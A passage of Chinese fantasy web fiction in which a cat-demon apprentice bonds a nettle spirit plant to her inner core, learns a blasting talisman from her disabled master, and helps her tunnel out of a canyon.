“还有,只有等衔蝉回来了,我才会告诉你们我娘在哪!” “你们不去帮忙打蛮牛,衔蝉找不回来,你们就继续等着吧!她一天不回来,我就一天不告诉你们!” 风梓被噎了一下,生气的瞪了风妧一眼。 但风妧态度很坚决,为了能尽快让她吐露出她娘的消息,风梓只能不情不愿的带着风氏的降妖师去打蛮牛。 东坡子洞的小妖们一听,连忙也抄上自己的武器,跟着人类一起去攻打蛮牛。 “打下蛮牛!找回大王!” 白三姑振臂一呼,所有东坡子洞的小妖们都齐声山呼:“打下蛮牛!找回大王!” 风氏的人:“” * 山上热闹得不行,山下的万丈悬崖底下却一片安宁祥和。 衔蝉跟着师尊学本事的进度很快。 她天赋极佳,没几天就把原来打歪了的基础掰了回来。 风朔对此十分满意,很快就继续教衔蝉更多的本领。 她见衔蝉对灵力的运用十分简单粗暴,便针对她的情况,为她量身打造了一门新的功法。 “这门御木功法是专为你的天赋打造的,学会了它,你就可以用灵力催生灵植辅助战斗。” “你直接丢灵力出去对战太浪费了,不如把灵力丢给你的契约灵植,再让它们替你出战,这样你自己的灵力就可以用得更久。” 衔蝉点点头:“好嗷,不过师尊,契约灵植是啥啊?” 风朔:“你可以理解为你的灵植手下,缔结契约后,它们就会与你同生共死。” “你以后法力越高,你的灵植也会越厉害,反过来,你的灵植蕴养得越厉害,你的法力也会越高。” “而且我看过了,你的经脉很宽广,可以契约不止一个本命灵植。” 衔蝉:“好!那我这就去种灵植?” 风朔失笑:“去吧。” 她推着轮椅,跟猫一起走到屋外,看她哼哧哼哧的找未来的契约灵植。 衔蝉很认真的蹲在地里,决定先找一些看上去就很有杀伤力的野菜培养成灵植。 她挑挑拣拣,最后选了一株藿麻。 这种野菜浑身都是刺,摘的时候都只能用木夹子去摘,不然就会被扎得满手是刺。 而且它的刺扎到手之后还带魔法伤害,伤口会一直火~辣辣的刺痛,比普通的刺伤害高多了。 平时衔蝉和风朔吃它都只能摘嫩叶吃,它嫩叶上也有刺,要丢进锅里把刺都煮软了煮融了才能入口。 在它新鲜的时候,那些刺简直就是个大杀器。 所以衔蝉的第一个契约灵植,就决定是它了! 她拿着木夹子,小心翼翼的把藿麻种子收集起来,再拢在手心,用灵力给它催芽。 为了让它长得更好,猫还刨了个大坑,勤劳的施了一泡她亲自发酵的底肥。 在底肥上盖上土,衔蝉捧着刚催生出来的藿麻嫩芽,端端正正的把它种好。 接下来就是继续用灵力催生它。 猫变回原型,蹲在藿麻嫩芽旁边,十分勤劳的为它过滤输送阳光中的灵气。 她伸着爪子,虚虚的举在藿麻芽上面,她聚集出的灵气就像光点一样飘飘洒洒的落在下方的嫩芽上。 藿麻芽在灵气光点的蕴养下飞快的抽条,长出新叶子。 猫还念念有词:“无所不能的灵力,让这颗藿麻的刺长得更多,更尖,扎人更痛吧” 风朔看着她毛绒绒的一团背影,有些想笑。 但看到从猫爪缝隙里漏出来的那些肉眼可见的灵气后,她又严肃起来。 她这小徒儿,真的很不一般啊。 这种聚灵的速度,就连天师甚至是大天师都做不到! 只有那些极其罕见的高阶法宝,才能勉强做到这种程度。 而能做到这种程度的法宝,无一不是备受追捧的至宝。 就连风朔,都很少见到那样的宝贝。 不过倒是有一件传说中的至宝跟衔蝉这个天赋很相似,正好,那件至宝也是木属性的。 只可惜,那件至宝的主人早就被封印数百年了。 偏偏那至宝又是认了主的,便也被一并封印了。 风朔有些骄傲的心想,我这天赋异禀的小徒儿,比那传说中的至宝也不差呢。 幸好她遇到的是她。 要是先遇到的是外面那些降妖师,这小家伙怕是早就被利用的毛都不剩一根了。 风朔一边庆幸,一边又有些高兴。 这样厉害的小家伙,是她门下开山徒儿啦! 要不给她也打一个保护禁咒吧,这样她就算在外面遇到不怀好意的降妖师,别人看到她身上的禁咒就知道,她也是有师长罩着的! 而且风氏的名声也不可谓不响。 整个中州大陆,天师堂风氏,谁敢不敬? 再狂傲的降妖师,看到风氏的族徽也会收敛几分的。 所以,就给小徒儿也打一个保护禁咒好了。 虽说这玩意儿理论上只能给风氏后裔打下,但风朔从来就不在意那些狗屁规矩。 她的徒儿,她乐意给她打最厉害的保护禁咒,还有人能拦得住她吗? 反正本事在她身上,旁人又管不着。 风朔很快就打定了主意。 等衔蝉催生藿麻催生得累成狗准备中场休息一会时,风朔就朝猫招了招手。 “乖徒,来,为师给你打个保护咒。” 第54章 “师尊, 啥是保护咒呀?这是什么符文?它在发光哎!它要怎么保护我呀?诶!它怎么不见了!” 衔蝉毛嘟嘟的一大坨蹲在风朔腿上,一边用爪子去扒拉空中的流光线条,一边小嘴叭叭的问个不停。 风朔一边将灵力汇聚于指尖, 以指代笔为衔蝉刻下保护咒咒文, 一边耐心的跟她解释。 “保护咒就是可以在危急关头保护你的东西,跟你身上那层封印有点类似, 但效果可能比它更单一一些。” “有了它,以后你再遇到什么致命危险, 它就会替你抵挡伤害。” “这是风氏禁咒,不过是我个人改良翻新后的新咒,它可以帮你翻倍反弹敌人的攻击,或者在危急的时候护住你的心脉。” “它没有不见,只是被封进你的经脉里了, 要等你遇到危险的时候它才会重新出来。” “哇!”猫眼睛睁得溜圆:“这么高端!” 风朔加快速度把最后几笔咒文落下,快速收手,呼噜了一把猫头。 “好了,现在你身上有两重保护了,不过你也不能仗着封印和咒文肆意张扬。” 她严肃的警告衔蝉:“封印也好咒文也好,都是有次数限制的, 这个咒文只能为你抵挡三次致命伤害, 三次之后它就会消散。” “所以你不能因为有了它们就不把自己的小命当回事,明白吗?” “昂!我知道啦!”衔蝉乖巧的点点头, 蹭了蹭风朔的手背:“谢谢师尊!” 风朔的神情这才放松下来,又摸了摸猫猫头。 “可以了,继续去催生你的灵植吧。” 衔蝉应了一声,咚的一声从师尊腿上跳下来,重新蹲到藿麻苗前, 勤勤恳恳的为它输送灵力。 在她的努力下,这颗本就颇具杀伤力的植物很快就长成了更加骇人的模样。 它在短短两天后就暴涨到比衔蝉的人形还高,从枝条到叶片上都布满了锋利的倒钩刺,每一根刺里还隐约可见半透明的毒液。 这是一颗从头到脚每一根刺都能把人扎得喵喵叫的大杀器。 衔蝉非常满意的收爪,围着自己的第一课本命灵植转了好几圈。 确定它的每一根枝条每一片叶子都攻击性拉满后,猫才蹦跶到师尊脚边,问:“师尊,我要怎么契约它呀?” 风朔:“放出你的内丹,把它收进你的丹田里去。” 衔蝉一脸茫然:“啥是内丹呀?我有吗?” 风朔:“” 忘了她这小徒儿是个修炼基础约等于0的野路子小文盲了。 “咳,你们妖的内丹就是妖丹,一般都会在丹田里,你自己用灵力内视一下就能看见。” 她指着猫毛绒绒的白肚皮,给她指出了丹田的位置。 衔蝉照着师尊的教导,闭上眼睛,用灵力去看自己的丹田。 “诶!真的有!”猫兴高采烈地用爪子揉了揉肚皮,然后揉出一颗绿色的小圆珠子来。 衔蝉高举自己的内丹,兴冲冲地给风朔看:“师尊你看!” 风朔没忍住,捏了捏猫的肉垫,然后才定睛细看那颗花生大小的内丹。 “嗯,你这内丹怎么是绿色的?” 衔蝉歪头:“啊?内丹不能是绿色的吗?” “倒也不是说不能是绿色,只是一般情况下,人的内丹是黄或者金色,妖的妖丹要么是红色,要么是黑色。” 风朔也觉得有几分稀奇:“绿色的妖丹,我也是头一次见。” 衔蝉把妖丹顶在头上,把头顶的毛毛都压出了一个小凹坑。 她并爪蹲好,问:“是不是我又学劈叉了呀?所以把内丹颜色修错了?” 风朔一听也有些担心,干脆连猫带内丹一起抱到腿上细看。 仔细观察了好一会后,风朔肯定的说道:“你这内丹似乎没什么问题。” “灵力很圆融,气机也很纯粹,不像是修错了的样子,你平时有没有觉得丹田这块不舒服?” 猫摇头:“没有呀。” “不过每次吸收灵力的时候,我会觉得肚皮,嗯,丹田暖呼呼的,这算不算问题?” 风朔:“通常丹田只会在进阶时发热,我还没听说过会有人或者妖在吸收灵力的时候就丹田发热。” “但这没什么问题,不管是什么原因,丹田发热都不是坏事,如果你确定没有别的不适的话。” 猫继续摇头:“真的没有哎。” “那应该就没事,可能跟你的木属性天赋有关。” “先试试看用它契约你的灵植吧。” 风朔把猫放下:“把你的内丹放到藿麻上,然后用你平时吸收灵力的方式,把它吸进你的内丹里去。” “好嗷!” 猫低头把内丹晃下来,然后猛地一爪子就把它拍飞到藿麻叶子上,那狂放不羁的动作看得风朔眼皮都抽了抽。 内丹可是人和妖的命根子,也是修炼的基础,要是内丹坏了,人也就废了。 所以一般人或者妖都对内丹宝贝得很,哪会像衔蝉这样把自己的内丹当珠子拍 但看着那颗圆润的绿色小珠子屁事没有的样子,风朔又把一肚子话咽了回去。 算了。 她的小徒儿确实天赋异禀,与众不同。 只要她自己没觉得难受就行。 反正这东西跟丹田绑定,稍有受损就会让丹田剧痛难忍,猫要是痛了自己就老实了。 摇了摇头,风朔继续守着自家徒儿契约灵植。 那颗藿麻一接触到猫的内丹,马上就软了三分。 或许是感受到了内丹上传来的催生自己的气息,原本一身硬刺的藿麻居然在内丹下扭曲成了波浪形,抖个不停。 它一边抖,一边主动的用自己的嫩叶裹住那颗小珠子。 但它放软了刺的叶子刚裹上去,就被内丹吸了进去。 猫的内丹旋转起来,很快就把藿麻的叶子像嗦面一样嗦成了细细的长条,再一点一点的将它吞噬进去。 藿麻也不挣扎,不多时,一株两米多高的藿麻竟全数被吸入那颗花生大小的内丹里。 衔蝉非常稀奇的用爪子掂了掂自己的内丹。 “师尊!它好像更绿了哎!咦,这是什么?” 猫举着内丹给师尊看:“师尊!我的内丹怎么发芽了!” 风朔定睛一看,嚯!这内丹上居然真的裂开了一条小口子,缝隙里竟冒出了隐隐约约的芽尖! “嘶,不应该啊。” 风朔也是头一次见到这种离奇的状况。 她长这么大都没听说过谁的内丹还能裂开发芽的! 内丹又不是种子,它是不会变化形态的,这简直离天下之大谱! 可衔蝉这颗内丹确确实实在她眼皮子底下发芽了! “你有没有觉得哪里不舒服?或者丹田痛不痛?经脉有没有跟着一起裂开?” 衔蝉内视了一下自身,摇头:“没有哇!” 不仅没有哪里痛或者不舒服,甚至浑身上下都有一种神清气爽的感觉! 她现在甚至觉得她可以一口气打爆三头牛! 风朔更纳闷了,但衔蝉确实看上去很舒爽的样子,尾巴都竖起来了。 这就怪了。 “算了。” 风朔觉得,自从自己收下这个身世来头神秘莫测的徒儿之后,说的最多的话就是算了。 她身上的秘密似乎有点多,她都无力挨个细究了。 只要能确定衔蝉自己没有不适就行。 “暂时先不管内丹吧,把它收回丹田,还有,以后不要轻易放出内丹。” “哪怕是下次契约新的本命灵植,也要确定周遭安全后再将内丹放出来。” “一定要记住,内丹就是修炼的基础,如果它坏了,你的根骨也会跟着废掉,再也不能修炼,甚至连灵智都有可能溃散。” 衔蝉听得毛都炸开了,整个猫都膨胀了一大圈:“嗷!我记住了!” 她一爪子把发芽的内丹按回白绒绒的肚皮里,正襟危坐。 见她如此严肃,风朔在心中暗暗点头。 嗯,现在她应该知道内丹的重要性,不会再莽不拉几的把内丹当珠子拍来拍去了。 “好了,接下来试试把内丹里的本命灵植召唤出来,并且操控它,让它做你想让它做的事情。” 风朔指着峡谷里的一块大石头:“先试试看让你的灵植把它搬走吧。” 猫点点头,照做。 她深吸一口气,下一秒,毛肚皮就开始发光。 呼啦一声,无数根碧绿的带刺枝条就从猫肚子里冒了出来,还在不停的抖动,乍一看跟克苏鲁似的。 猫也觉得有点稀奇,她爪子朝大石头一伸,命令藿麻:“去把它搬走!” 藿麻猛地一抖,瞬间变回冷硬带刺的原样,所有枝条汇聚成一根绿色的大棒,然后就朝大石头横扫过去! 砰的一声巨响,磨盘大的石头居然被藿麻打飞了数米远! 被打飞的石头在空中碎成渣渣,再像流星一样四散在地上。 猫惊叹一声,连蹦带跳的跑过去看那些碎石。 这时候她还没收回藿麻,所以看上去就好像一个焊了个绿色冲天炮在身上的猎奇猫一样,藿麻还随着她的跳动一颤一颤的。 风朔:“” 有点辣眼睛。 但猫丝毫没发现自己的造型有什么不对,她捡起一块碎石,乐颠颠的。 “师尊!看!这个石头都被藿麻打出花纹啦!” 原本还算光滑的石头,现在表面上布满了细细的条状纹路。 但那不是花纹,而是被藿麻的尖刺扫过,留下的“伤痕”。 这是藿麻杀伤力的最直观证据。 因此,猫非常得意,恨不得叉腰狂笑三百声。 风朔欲言又止。 半晌后,她终究还是没忍住:“乖徒儿,你先把藿麻收回去吧。” 不然看着真的怪瘆人的。 衔蝉喵了一声,老实巴交的收回藿麻。 这下终于又是个蓬松圆润的正常猫了。 风朔长舒一口气。 “乖徒啊,下次你召唤本命灵植的时候,可以换个位置,不一定要让它从你丹田里直接出来。” 衔蝉:“欸?还能从别的地方出来吗?” 风朔肯定的答道:“可以,你试试让它从你爪子里出来。” 猫照做。 猫成功了。 衔蝉举着爪子里张牙舞爪的藿麻枝,开心大叫:“这样好酷!” 她爪子一甩,藿麻枝就像鞭子一样,被她挥舞得虎虎生风。 藿麻在她手里听话极了,既能软又能硬,能当鞭子也能当刀剑,比什么武器都更好使。 衔蝉把藿麻变硬,当成大刀在空中劈砍,竟砍出了破空声! 藿麻还随着她的心意,收拢了叶子和枝干,把外形重组成了一把带刺的大刀的模样。 衔蝉再心念一动,绿色的大刀就呼啦一声散开,枝条变得柔韧,并且逐渐拉长,变化成鞭子的模样。 猫一下子就玩疯了,举着自己的新武器在峡谷里噼里啪啦的搞破坏。 只见她一鞭子打碎一块大石头,又一刀砍断一颗大树,再像拉锯子那样,硬生生用藿麻刺锯断了一根木桩! 轰隆一声,木桩应声倒地。 木桩支撑着的小木屋也跟着散架。 风朔的嘴角抽了抽。 “好徒儿,那是咱家的厨房。” 衔蝉耳朵一抖:“诶?” 后知后觉意识到自己正在拆家的猫尴尬而不失礼貌的收起藿麻,把自己团成一只大鸡腿,掩饰的用后脚蹬了蹬耳朵。 风朔笑叹一声:“算啦,重新修吧。” 闯了祸的猫非常的懂事,马上应声:“我这就去!” 她重新变回人形,袖子一撸就开始乒乒乓乓的重修厨房。 做支撑的木桩被锯断了,衔蝉只好重新找木头当立柱,好在刚刚她砍断了一颗树,木料都是现成的。 再把倒塌的木板重新捡起来,拼回去,屋顶的茅草也重新盖回去。 最后再把当锅用的石板从废墟里刨出来,重新和泥搭一个新的灶台,把石板端端正正的放上去。 忙活了半天,猫师傅终于把厨房修好了。 师徒两个折腾许久后总算吃上了晚饭,好悬没饿着这一顿。 吃着衔蝉做出来的灵力大餐,风朔的双腿刺痛起来,她低头看了看,随后面不改色的继续喝野菜汤。 风朔并不是那种古板的师尊,她这里也没有食不言寝不语的规矩,因此师徒俩边吃饭,边闲聊。 “现在你的伤基本上痊愈了,本命灵植也有了,明天咱们就可以去继续开凿岩壁了。” 衔蝉一听就兴奋了:“好!” 她掰着指头数了数日子:“嗯,好像已经过去半个月了呢,不知道山上怎么样了。” 风朔拍拍她的脑袋:“等凿开岩壁,上去了就知道了。” 猫重重的点头:“嗯!” 明天! 明天就去凿开岩壁,想办法跟师尊一起回山上去! 因着心里有了盼头的缘故,这一夜的人和猫都睡得很香。 第二天,师徒两个果然带上了些菜干当干粮,出发往岩壁那边走。 衔蝉背着藤编的背篓,很孝顺的给师尊推轮椅。 峡谷里,有一条路径分明的泛白的小路,刚好够轮椅通行。 “哇!这条路好平整,师尊你是怎么找到这条路的呀?” 衔蝉很是稀奇的问道。 风朔摇摇头:“这里原本没有路。” 是她年复一年日复一日的往返,才让轮椅硬生生的碾出了一条路。 当年这路上也并不平整。 跟峡谷里别的地形一样,这里遍地碎石,荆棘丛生,别说路了,连个下脚的地方都没有。 那时刚跌落悬崖的风朔拖着断掉的双腿和一身的重伤,几乎是爬着趟出了这条路。 第一年的时候,这条路上的每一粒沙土都浸透了风朔的血。 可一切都没有打倒她,她硬是咬紧牙关,用手,用仅剩的灵力,用为数不多的符箓,在峡谷里开出了这条路。 但风朔并没有跟衔蝉细说这些,只是轻描淡写的一笔带过。 只是衔蝉不傻,她能从这句简简单单的话里明白师尊当年面对的是何等的困境。 猫红着眼眶,嘟囔道:“要是我早点掉下来就好了。” “我要是早点掉下来,还能给师尊开路呢。” 她力气好大的,可以搬很大的石头,她的爪子也很锋利,可以打断很多木头再刨成零件,早一点帮师尊做轮椅。 再不济,她也能陪着师尊,帮她按按已经快要萎缩的双腿。 听着徒儿的碎碎念,风朔心中一暖。 她拍了拍衔蝉的手背:“说什么傻话,早掉下来可不是什么好事。” 要是衔蝉真掉下来早了,她还没有现在这样游刃有余,那师徒两个不得趴在地上一起爬啊。 还是现在这样要稍微好一点,起码她还能把衔蝉捡回来,给她裹草药疗伤,给她做野菜汤。 衔蝉吸了吸鼻子,小声说道:“师尊,我们一定会出去的。” “等我们出去了,我带你回东坡子洞,让你做太上皇,我给你养老,孝顺你一辈子。” 风朔眉眼间皆是笑意:“好啊。” “那为师可就等着做太上皇了哦。” 衔蝉大力点头:“嗯呐!” “师尊我跟你说,我们东坡子洞虽然现在还不是很大,但以后我们一定会做大做强,再创辉煌的!” “等我们回去了,我要先去找蛮牛报仇!我要揍死那头臭野牛,然后抢了他的地盘!” “这样我们就可以开更多的田地,种更多的粮食和灵植,修更多的房子,招更多的妖,扩大势力!” 风朔闻言就夸:“真有志气,不愧是我徒儿。” 衔蝉骄傲挺胸:“师尊你就等着吧!以后我一定让你在山上享福,拨十八个小妖伺候你,让你倍有排面!” 风朔听得直笑。 “好好好,我徒儿真孝顺,为师就等着享福了。” 一路说笑着,不久后,师徒两个就来到了一片巨大的岩壁前。 这岩壁高得望不到顶,厚重的岩石堆积成山,牢牢的把峡谷的出路封死在悬崖底下。 猫仰头往上望去,竟一眼望不到头,只能看到崖壁周围缭绕的云层。 这样的高度,如果是想一路爬上去的话确实是不可能的。 除了开凿岩壁之外,真的没有别的好办法。 再往岩壁底部看去,一条仅能容纳两人并排通过的漆黑隧道赫然出现在眼前。 “喏,到了,就是这里。” 风朔指了指前面的狭窄隧道:“我已经把这条路打通了数十丈,再往前凿凿,应该就能凿穿它。” 她仔细勘测过,基本能确定这块岩壁外就是峡谷的出路。 只要能离开峡谷,她们就可以想办法绕路回山上,哪怕路途远一些也没关系,总比困在峡谷里要好。 衔蝉点点头,撸起袖子。 她搓出几颗发光的灵力团子当路灯,推着风朔的轮椅,走进黑漆漆的隧道中。 “哇,这里面好深,师尊,你是怎么把它开凿出来的呀?” 风朔笑而不语,只抬起手,像先前给衔蝉打保护咒那样,以指代笔,用灵力在空中绘制出一道复杂的符文。 风朔一气呵成,只一笔就把符文绘制完毕,然后指尖一点,轻声喝到:“去!” 那符文立刻疾射出去,眨眼间就没入岩壁,只在岩壁上留下一道泛着微光的纹路。 而后符文的纹路倏然爆出一阵灵光,下一瞬,一道爆炸的巨响声回荡在隧道里。 轰隆隆的声音不绝于耳,隧道里尘土飞扬,呛得衔蝉咳了好几声。 好一会后,尘埃落地,衔蝉挥手拂去面前的尘土,往符文消失的地方一瞅。 “!!” 猫惊喜大叫:“师尊!你炸掉了好大一块石头!哇!这里多了好大一个豁口!” 她一脸崇拜的看向风朔,两眼亮闪闪:“师尊,你好厉害呀!” 风朔淡然一笑。 “雕虫小技而已。” 如果不是怕炸的范围太大压垮隧道,她还能绘制更多威力更大的符文。 当然,所消耗的灵力也越多。 绘制一次那样的符文,差不多就要消耗掉一个大玄师全力一击级别的灵力。 风朔在峡谷里没有别的灵力来源,只能靠修炼恢复自身灵力,因此衡量之后选择了用这种威力更小但更省灵力的符文。 像现在炸隧道这种符文,风朔一天可以画十来次。 再多了就不行了,因为她现在还是重伤未愈的状态,需要留些保命的灵力,不能全消耗在这上面。 所以这些年她的进度并不快。 见衔蝉还是眼睛亮晶晶的看着自己,风朔莞尔一笑:“想学这个?” 猫狠狠点头:“想!” 风朔颔首:“来吧,为师教你。” “这个符文并不难,只需要学会绘制的方法,再将灵力汇聚唔,乖徒,你已经学会大半了。” 看着猫发光的指尖,风朔笑道:“最难的聚灵部分,你已经无师自通了。” “接下来只需要记住符文的画法就好。” 她给衔蝉再次示范了一遍。 “每一种符文都有不同的效果,千万不要弄错了,你现在学这种叫小霹雳符,来,看好它的绘制方法。” 衔蝉认真的看着师尊的动作,然后一笔一划的跟着她用灵力在空中画符。 师徒两个一个教得理所当然,一个学得理所当然,完全没有意识到,不需要符笔符纸符墨就能在虚空中画符是多么惊世骇俗的能力。 这完全是外面的降妖师看见了都会直呼见鬼了的程度! 但好在峡谷里没有外人,一人一猫又都是如出一辙的天才,谁也没觉得这有什么大不了的。 衔蝉甚至觉得画这个符挺好玩的,像在画画一样。 她很快就照猫画虎的画出猫生第一张灵力符。 第55章 “去吧!小霹雳符!” 绘制出第一个符文后, 衔蝉大喝一声,学着师尊的样子帅气的朝前方的岩壁一指。 她绘出的灵力符文果真跟随她的心念,倏然飞向岩壁深处! 轰隆一声巨响! 比先前风朔的小霹雳符炸出的动静更大的爆裂声从隧道中传出! 风朔眉心一跳, 连忙挥手聚灵, 在电光火石间绘出几道符文,并将其笼罩在头顶。 在爆炸巨响声响起时, 她一手画符一手将衔蝉往后一拉! 衔蝉自己也被这动静吓了一跳,下意识的变回原型, 并召出了藿麻抵挡炸开的碎石。 风朔一把将猫按进怀里,用符文盾挡住了不断下坠的石块,并在轮椅上轻点几下,整个轮椅马上快速朝后滑去。 她们刚撤到隧道口,整个隧道就轰隆隆的震颤起来。 原来衔蝉那张符, 竟不止炸断了她想炸的岩壁,甚至连带着把隧道上方的弧形穹顶都给炸断了一截! 要不是风朔眼疾手快,现在师徒两个恐怕都得被埋在里面。 万幸,待灰土散去后,师徒俩都没事,就是被糊了满头满身的爆炸尘埃, 看上去有些狼狈。 风朔拍了拍猫头, 感慨:“乖徒,你真的是个天才啊。” 第一次灵力画符就能成功不说, 居然还把小霹雳符用出了大霹雳符的架势! 这天赋,简直跟她当年都没差了! 本来还被崩得灰头土脸的猫一听师尊的夸奖,马上又挺直了毛绒绒的胸膛。 没错!她就是个天才猫猫! 至于刚刚嘛,那纯属意外! 风朔笑着呼噜了一下猫耳朵:“小天才,下次记得灵力少灌注点, 也看准点,别把隧道给炸垮了。” 不然她们这就白干了。 衔蝉不好意思的撇了撇耳朵,有点心虚的干咳了两声。 “咳咳,我记住啦师尊,下次我会注意的。” 站起来抖掉毛毛里的灰,衔蝉跳到地上,走回隧道里。 这一次,她很认真的在隧道里找了个合适的爆破点。 并且再三确认了一下位置。 然后再举着猫爪在空中聚灵画符。 不多时,又一张减了三分灵力的小霹雳符被绘制出来。 隧道里又是一声轰隆巨响。 万幸,这回衔蝉没炸错地方,符文的威力也控制得恰到好处。 衔蝉终于掌握了小霹雳符的正确画法,高兴得一蹦三尺高。 接下来她就来劲了,当场就化身拆迁队,在隧道里狂轰滥炸起来! 风朔十分欣慰的看着猫跟个推土机一样在隧道里蹦蹦跳跳的搞爆破。 在猫的暴力轰炸下,隧道又往前打通了好几米。 原本是想跟徒儿一起联手开凿岩壁的风朔都成了她的后勤,推着轮椅在她身后负责把那些大块的碎石清理出去。 眼看着衔蝉越炸越来劲,风朔清理碎石的速度都快赶不上她爆破的速度了。 但风朔淡定的从轮椅侧面的小暗格里摸出了一把干枯的豆荚。 这些野菜结出来的豆子不能吃,不过风朔另有妙用。 只见她剥出一把豆子,将其托在左手心,再用右手并拢食指中指,快速对豆子们画了个手决。 流光闪过,豆子翻滚起来,它们滚落到地上,然后噗的一声,变成两个巴掌高的人形小傀儡。 这些豆子变成的小傀儡一落地就跑去搬碎石。 它们像蚂蚁搬家一样,嘿咻嘿咻的扛着比自己大了许多倍的石头,将它们陆陆续续扔出隧道外。 有了这一支傀儡小兵,衔蝉炸出来的碎石很快就被清理干净了。 就这样,师徒两个在隧道里忙活了一整天,硬生生又把隧道往前炸通了十几米。 这速度,确实比风朔一个人来开凿快多了。 先前她一个人来,行动不方便不说,还要自己一边开凿一边清理碎石,还得省着点用灵力,每天顶多凿一丈左右就算顶天了。 但今天有了衔蝉在前面闷头轰炸,效率那叫一个高啊。 下午,太阳西斜,风朔看了看天色,扭头收回豆子傀儡,喊猫回来吃饭。 “乖徒,今天可以了,出来吃点东西休息一下吧,你不累吗?” “来了来了!阿嚏!”浑身灰扑扑的猫从隧道里打着喷嚏跑出来,“诶!这就太阳下山了呀。” 风朔给她拍了拍身上的灰:“嗯,天不早了,我们先吃晚饭吧。” “吃完今晚就在这里露宿一夜,明天继续开凿,省了来回的路。” 这岩壁离小木屋有点远,要是天天往返的话会很浪费时间。 衔蝉点点头:“好哒!” 她变回人形,就要去找木柴生火烤干粮。 冷不丁的却听到风朔闷笑了一声。 不知道自己现在正顶着个大花脸的衔蝉:? “怎么了师尊?” 她不解的看向师尊,风朔却一脸正色,像是刚刚发出笑声的不是她一样。 “没什么,去找水洗把脸吧,我来生火。” 依然没意识到什么的衔蝉:“好嗷。” 她在风朔的指引下,在岩壁附近找到一块凹下去的小石窝,里面渗出的山泉水她尝了一口,很甘甜。 猫召出藿麻,让它长出一片不带刺的大叶子,再把叶子折一折,接了一捧水先去孝敬师尊。 “师尊,喝水!” 风朔嘴角微弯,接过乖徒打来的山泉水,倒出一些在手心,然后招呼衔蝉:“过来这边,蹲下来。” 猫不解但照做。 她蹲在轮椅边,风朔就用这一捧水给她擦了擦脸上的灰尘,总算又能看清猫脸长什么样了。 只是看着衔蝉那张年轻张扬的脸时,风朔微微出神 她的孩子,应该也有这么大了吧。 “师尊,你叹气做什么?累了吗?” “我叹气了吗?” “嗯呐!要不你歇会吧,我去生火。” “嗯,好,去吧。” 摸了摸猫头,风朔看着她忙忙碌碌的背影,眼神悠远,似乎在回忆着什么。 衔蝉很快就烤好了干粮,师徒两个吃了顿简单的晚饭,然后在隧道里铺开了一些干草,这就是今晚临时的床了。 风朔习惯性的想撑着轮椅下来,但衔蝉及时扶住了她。 “师尊!你别动!我来!”她把风朔拦腰抱起,小心翼翼的放到干草床上。 现在她的伤基本上痊愈了,终于可以多孝顺师尊一点啦。 先前每次看着师尊艰难的行动,猫都感觉很心酸,只是那时候她的爪子也还伤着,使不上劲也帮不上忙。 现在好了,她又是一条活蹦乱跳的猛猫了,抱着师尊上下轮椅完全不在话下! 力气超大的猫轻轻松松的把风朔抱下来,还顺便把她的轮椅也挪到了干草床头。 床头空荡荡的,没有枕头也没有杯子,衔蝉想了想,又变回原型,屁颠屁颠的跑去给师尊当枕头。 风朔摸了摸猫敦实的后背,笑叹一声。 “傻孩子,这样你不累吗?” 衔蝉:“我不累!我超有力气的!师尊你快靠着我,我火力旺,可以给你当暖宝宝!” 风朔不知道什么是暖宝宝,但她的确有被贴心的乖徒儿暖到。 她在心里想道,收下衔蝉这个徒儿,可能是她这辈子做过的最正确的决定,没有之一。 她以前的眼光好像不是很好,但这一次,风朔确信自己没有看错人,呃,没看错猫。 枕着毛绒绒热乎乎的猫枕头,风朔闭上双眼,心情是难得的松快。 衔蝉今天炸了一天岩壁,灵力都耗光了,现在终于歇息下来,她也觉得舒坦极了。 猫发出咕噜噜的声音,两眼一闭,睡觉! 睡眠质量超好的猫眨眼间就进入了梦乡。 然而当她熟睡时,她的丹田里,那颗绿色的内丹却忽然滚动了两下。 它在衔蝉的丹田里滚了好几圈后,那道裂缝又更大了一点。 裂缝中,原本弯曲的芽尖悄无声息的直立起来,并舒展开来两片嫩绿色的子叶。 嫩芽底部,好几根细细的须子扎破内丹,一路扎根到衔蝉的丹田里,并且还有继续往她经脉里延伸的趋势。 熟睡的猫抽动了一下胡须,爪子也抽了抽,但没醒。 丹田里的变化似乎一点也没影响到她的睡眠质量,她甚至还有余力做梦。 不知道是不是今天太累了的缘故,衔蝉做了个很奇怪的梦。 她梦到自己走在一片完全漆黑的空间里,四周什么都没有。 猫在黑暗里走了很久也没摸到任何边界,只隐隐约约的能听到一些很嘈杂的声音。 那声音很乱,像是有很多人在同时慷慨激昂的说着什么,又好像是很多猛兽在聚在一起大吼。 衔蝉竖起耳朵想要听清那些声音,但却始终没成功。 那声音飘飘忽忽的,好像在她耳边,又好像在很遥远的地方。 衔蝉听了半天,一句完整的话都没听出来,只好遗憾的放弃了。 她也不想再往前走了,干脆就地蹲下,原地开摆。 耳边的嘈杂声还是那么热闹且听不清,衔蝉伸出爪捂住自己的耳朵,怒吼一声:“闭嘴!还让不让猫睡觉呀!” 没想到她一吼完,那些声音居然真的消失了! 猫还来不及得意,就忽然感觉背后的毛毛好像有点刺挠,仿佛身后多了什么东西似的。 猫纳闷的转身,却咚的一声撞到了一堵“墙”。 衔蝉抬头望去,下一秒,她浑身的毛毛都炸开了 一双巨大的金色竖瞳,在衔蝉头顶倏然睁开。 衔蝉:“!!!” 梦里的衔蝉喵嗷一声跳了起来,现实中的干草床也跟着抖动起来。 隧道里忽然摇晃着掉下很多碎石块,衔蝉从梦中惊醒,刚睁眼就被一颗石头砸到了猫头。 紧接着又有更多的碎石掉下来,整个隧道,不,整个岩壁都震颤起来! “不好!地震了?!” 猫大吃一惊,连忙变成人形,把师尊和轮椅往肩上一扛,呲溜一声跑出隧道。 隧道外的一切也在不停震颤,竟真像地震了似的! 但奇怪的是,衔蝉莫名觉得,那震颤的来源貌似不在脚下,而是在更远的地方。 就好像有什么巨大的爆炸从远方传来了余波一样。 只是猫没空细想,她连忙扛着师尊和轮椅,跑到一块相对空旷的地方,十分紧张的等待着“地震”结束。 大约几分钟后,震动戛然而止。 大地停止摇晃,一切事物也重归宁静。 衔蝉这才松了一口气。 “乖徒,放为师下来吧。”风朔其实早就醒了,她拍了拍猫的肩膀:“别害怕,应该不是地震。” 衔蝉:“啊?不是地震?” 这么大的动静,不是地震还能是啥? 风朔顺着衔蝉搀扶的力道重新坐回轮椅里,抬头看了看天。 “唔,应该跟岭山封印有关吧。”风朔猜测道:“总之应该跟地震没什么关系,别担心。” 衔蝉心有余悸的拍了拍胸口,好奇心又上来了。 “岭山封印?那是什么?” 说到这个,风朔叹息一声,跟猫细细解释起来。 